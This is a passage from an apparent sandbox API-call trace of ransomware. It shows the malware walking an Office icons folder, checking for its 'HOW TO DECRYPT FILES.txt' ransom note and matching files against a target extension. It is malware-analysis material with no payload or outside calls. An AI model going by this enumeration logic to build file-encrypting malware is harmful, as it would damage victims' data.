Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.724] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.724] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.724] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="gfserrorfromgroove.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico" [0065.724] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico", pszSpec="*.ems") returned 0 [0065.725] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78806100, ftCreationTime.dwHighDateTime=0x1c9ff6c, ftLastAccessTime.dwLowDateTime=0x52a4cdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78806100, ftLastWriteTime.dwHighDateTime=0x1c9ff6c, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfserrortogroove.ico", cAlternateFileName="GFSERR~2.ICO")) returned 1 [0065.725] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.725] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="gfserrortogroove.ico") returned -1 [0065.725] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="gfserrortogroove.ico") returned 1 [0065.725] lstrcmpiA (lpString1="", lpString2="gfserrortogroove.ico") returned -1 [0065.725] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned="gfserrorfromgroove.ico" [0065.725] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.725] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.725] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.725] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.725] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="gfserrortogroove.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico" [0065.725] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico", pszSpec="*.ems") returned 0 [0065.725] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddee4300, ftCreationTime.dwHighDateTime=0x1c9dff9, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xddee4300, ftLastWriteTime.dwHighDateTime=0x1c9dff9, nFileSizeHigh=0x0, nFileSizeLow=0x294dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GWE.ICO", cAlternateFileName="")) returned 1 [0065.725] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.725] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GWE.ICO") returned -1 [0065.725] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GWE.ICO") returned 1 [0065.726] lstrcmpiA (lpString1="", lpString2="GWE.ICO") returned -1 [0065.726] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned="gfserrortogroove.ico" [0065.726] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.726] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.726] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.726] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.726] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="GWE.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO" [0065.726] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO", pszSpec="*.ems") returned 0 [0065.726] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe103100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe103100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INCOMING.ICO", cAlternateFileName="")) returned 1 [0065.726] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.726] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="INCOMING.ICO") returned -1 [0065.727] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="INCOMING.ICO") returned -1 [0065.727] lstrcmpiA (lpString1="", lpString2="INCOMING.ICO") returned -1 [0065.727] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO") returned="GWE.ICO" [0065.727] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.727] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.727] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.727] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.727] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="INCOMING.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO" [0065.727] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO", pszSpec="*.ems") returned 0 [0065.727] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe103100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe103100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDOMAIN.ICO", cAlternateFileName="")) returned 1 [0065.727] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.728] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="INDOMAIN.ICO") returned -1 [0065.728] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="INDOMAIN.ICO") returned -1 [0065.728] lstrcmpiA (lpString1="", lpString2="INDOMAIN.ICO") returned -1 [0065.728] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO") returned="INCOMING.ICO" [0065.728] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.728] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.728] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.728] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.728] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="INDOMAIN.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO" [0065.728] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO", pszSpec="*.ems") returned 0 [0065.728] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIL.ICO", cAlternateFileName="")) returned 1 [0065.728] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.729] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MAIL.ICO") returned -1 [0065.729] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MAIL.ICO") returned -1 [0065.729] lstrcmpiA (lpString1="", lpString2="MAIL.ICO") returned -1 [0065.729] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO") returned="INDOMAIN.ICO" [0065.729] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.729] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.729] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.729] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.729] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="MAIL.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO" [0065.729] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO", pszSpec="*.ems") returned 0 [0065.729] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANUAL.ICO", cAlternateFileName="")) returned 1 [0065.729] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.729] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MANUAL.ICO") returned -1 [0065.729] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MANUAL.ICO") returned -1 [0065.729] lstrcmpiA (lpString1="", lpString2="MANUAL.ICO") returned -1 [0065.729] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned="MAIL.ICO" [0065.730] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.730] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.730] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.730] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.730] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="MANUAL.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO" [0065.730] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO", pszSpec="*.ems") returned 0 [0065.730] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxalert.ico", cAlternateFileName="MESSAG~2.ICO")) returned 1 [0065.730] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.730] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="messageboxalert.ico") returned -1 [0065.730] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="messageboxalert.ico") returned -1 [0065.730] lstrcmpiA (lpString1="", lpString2="messageboxalert.ico") returned -1 [0065.730] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned="MANUAL.ICO" [0065.730] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.730] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.730] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.730] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.730] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="messageboxalert.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico" [0065.730] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico", pszSpec="*.ems") returned 0 [0065.731] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxerror.ico", cAlternateFileName="MESSAG~1.ICO")) returned 1 [0065.731] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.731] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="messageboxerror.ico") returned -1 [0065.731] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="messageboxerror.ico") returned -1 [0065.731] lstrcmpiA (lpString1="", lpString2="messageboxerror.ico") returned -1 [0065.731] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned="messageboxalert.ico" [0065.731] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.731] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.731] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.731] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.731] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="messageboxerror.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico" [0065.731] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico", pszSpec="*.ems") returned 0 [0065.731] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxinfo.ico", cAlternateFileName="MESSAG~3.ICO")) returned 1 [0065.731] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.732] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="messageboxinfo.ico") returned -1 [0065.732] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="messageboxinfo.ico") returned -1 [0065.732] lstrcmpiA (lpString1="", lpString2="messageboxinfo.ico") returned -1 [0065.732] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned="messageboxerror.ico" [0065.732] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.732] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.732] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.732] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.732] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="messageboxinfo.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico" [0065.732] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico", pszSpec="*.ems") returned 0 [0065.732] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1608e400, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1608e400, ftLastWriteTime.dwHighDateTime=0x1ca03f6, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModifiedTelespace.ico", cAlternateFileName="MODIFI~1.ICO")) returned 1 [0065.732] PeekMessageA 